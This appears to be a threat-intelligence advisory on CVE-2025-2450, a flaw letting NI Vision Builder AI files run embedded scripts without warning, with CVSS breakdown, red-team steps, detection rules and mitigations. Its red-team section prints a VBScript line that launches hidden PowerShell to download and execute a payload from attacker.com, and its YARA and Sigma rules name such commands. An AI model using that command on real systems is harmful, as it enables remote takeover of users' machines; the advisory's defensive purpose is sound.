CVE-2025-2450

Executive Summary

CVE-2025-2450 is a critical Remote Code Execution (RCE) vulnerability in NI Vision Builder AI (VBAI). The flaw resides in the processing of VBAI files, where the application fails to display a security warning before executing dangerous scripts embedded within the file. An attacker can exploit this by convincing a user to open a malicious VBAI file or visit a crafted web page that triggers the file processing. Successful exploitation allows arbitrary code execution in the context of the current user, with a CVSS score of 7.8 (High). No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Attack Vector: Local (AV:L) – Requires user interaction to open a malicious file.
• Attack Complexity: Low (AC:L) – No special conditions needed.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must open the file.
• Scope: Unchanged (S:U) – Exploit stays within the same security authority.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Code execution allows modification.
• Availability Impact: High (A:H) – System can be disrupted.

Threat Level: High. Although no active exploitation is reported, the lack of a patch and the ease of exploitation (user opens a file) make this a significant risk for organizations using NI Vision Builder AI.

Deep Dive & Mechanics

The vulnerability is a classic case of missing security warnings for dangerous script execution. NI Vision Builder AI processes VBAI files that can contain embedded scripts or macros. The application does not prompt the user with a warning before executing these scripts, allowing an attacker to craft a VBAI file that, when opened, executes arbitrary code without the user's knowledge.

Root Cause: The application fails to implement a "Mark of the Web" (MOTW) check or a user consent dialog before executing scripts from untrusted sources. This is categorized under CWE-356: Product UI does not Warn User of Unsafe Actions.

Attack Vector:

1. Attacker creates a malicious VBAI file containing a script that executes a payload (e.g., reverse shell, ransomware).
2. Attacker distributes the file via phishing email, malicious download, or drive-by download.
3. User opens the file in NI Vision Builder AI.
4. The application processes the file and executes the embedded script without warning.
5. The payload runs in the context of the current user, granting the attacker control.

Impact: Full compromise of the user's workstation, including data theft, lateral movement, and potential escalation to domain admin if the user has elevated privileges.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior versus expected secure behavior.

Vulnerable Code (Conceptual):

def process_vbai_file(file_path):
    # No warning or user consent check
    script = extract_script_from_file(file_path)
    execute_script(script)  # Dangerous script runs without warning

Patched Code (Expected):

def process_vbai_file(file_path):
    if not is_file_from_trusted_source(file_path):
        show_warning_dialog("This file contains scripts that could harm your computer. Do you want to proceed?")
        if not user_confirms():
            return
    script = extract_script_from_file(file_path)
    execute_script(script)

The patched version would include a security warning dialog and a user consent check before executing any embedded scripts.

Exploitation & Lab Setup

Red Team

Prerequisites:

• NI Vision Builder AI installed on a target machine.
• Ability to deliver a malicious VBAI file to the target.

Exploitation Steps:

1. Create a malicious VBAI file with an embedded script that executes a payload (e.g., PowerShell reverse shell).
2. Host the file on a web server or send via email.
3. When the user opens the file, the script executes automatically.

Example Malicious VBAI Script (Conceptual):

' Embedded script in VBAI file
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -NoP -NonI -W Hidden -Exec Bypass -Command ""IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"""

Lab Setup:

• Use a virtual machine with NI Vision Builder AI installed.
• Create a simple VBAI file with the above script.
• Test by opening the file and observing code execution.

Blue Team

Detection:

• Monitor for unusual child processes spawned by VBAI.exe (e.g., powershell.exe, cmd.exe, wscript.exe).
• Look for VBAI files downloaded from the internet (MOTW flag missing).
• Use Sysmon to log process creation and network connections.

Hunting:

• Search for VBAI files with embedded scripts that contain suspicious commands (e.g., IEX, Invoke-Expression, DownloadString).
• Check for VBAI files that have been recently opened and triggered script execution.

Mitigation:

• Block VBAI files from being opened from untrusted sources (e.g., email attachments, web downloads).
• Use AppLocker or WDAC to restrict script execution from VBAI.
• Educate users not to open VBAI files from unknown sources.

Indicators of Compromise (IOCs)

• File Hashes: (None available, but monitor for VBAI files with suspicious content)
• Network Indicators: Connections to attacker-controlled IPs/domains from the VBAI process.
• Process Indicators: VBAI.exe spawning powershell.exe, cmd.exe, wscript.exe, or cscript.exe.
• Registry: (None specific, but monitor for persistence mechanisms added by the payload)
• File System: Creation of new files in user directories (e.g., %TEMP%, %APPDATA%).

Detection Engineering

YARA Rule

rule CVE_2025_2450_VBAI_Malicious_Script {
    meta:
        description = "Detects malicious VBAI files with embedded scripts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2450"
    strings:
        $script_keyword1 = "WScript.Shell" ascii wide nocase
        $script_keyword2 = "powershell" ascii wide nocase
        $script_keyword3 = "IEX" ascii wide nocase
        $script_keyword4 = "DownloadString" ascii wide nocase
        $vbai_header = "VBAI" ascii
    condition:
        $vbai_header and 2 of ($script_keyword*)
}

Sigma Rule

title: Suspicious Process Spawned by NI Vision Builder AI
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects when VBAI.exe spawns a suspicious child process indicative of CVE-2025-2450 exploitation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2450
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: 'VBAI.exe'
        Image|endswith:
            - 'powershell.exe'
            - 'cmd.exe'
            - 'wscript.exe'
            - 'cscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of scripts within VBAI (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-2450 - Potential VBAI Malicious File Download"; flow:to_server,established; content:"VBAI"; http_uri; nocase; content:".vbai"; http_uri; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Script Execution: If possible, configure NI Vision Builder AI to disable script execution or require user confirmation for all scripts.
2. Block VBAI Files: Use email and web filters to block .vbai file attachments and downloads.
3. User Awareness: Train users to avoid opening VBAI files from untrusted sources.

Long-Term Fix:

• Await an official patch from NI. Monitor the vendor's security advisory page for updates.
• Consider migrating to alternative vision builder tools that have better security controls.

Workaround:

• Use Windows Defender Application Control (WDAC) or AppLocker to prevent VBAI.exe from spawning untrusted child processes.
• Enable Windows Defender Exploit Guard to block script execution from untrusted files.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact intel@valters-it.com.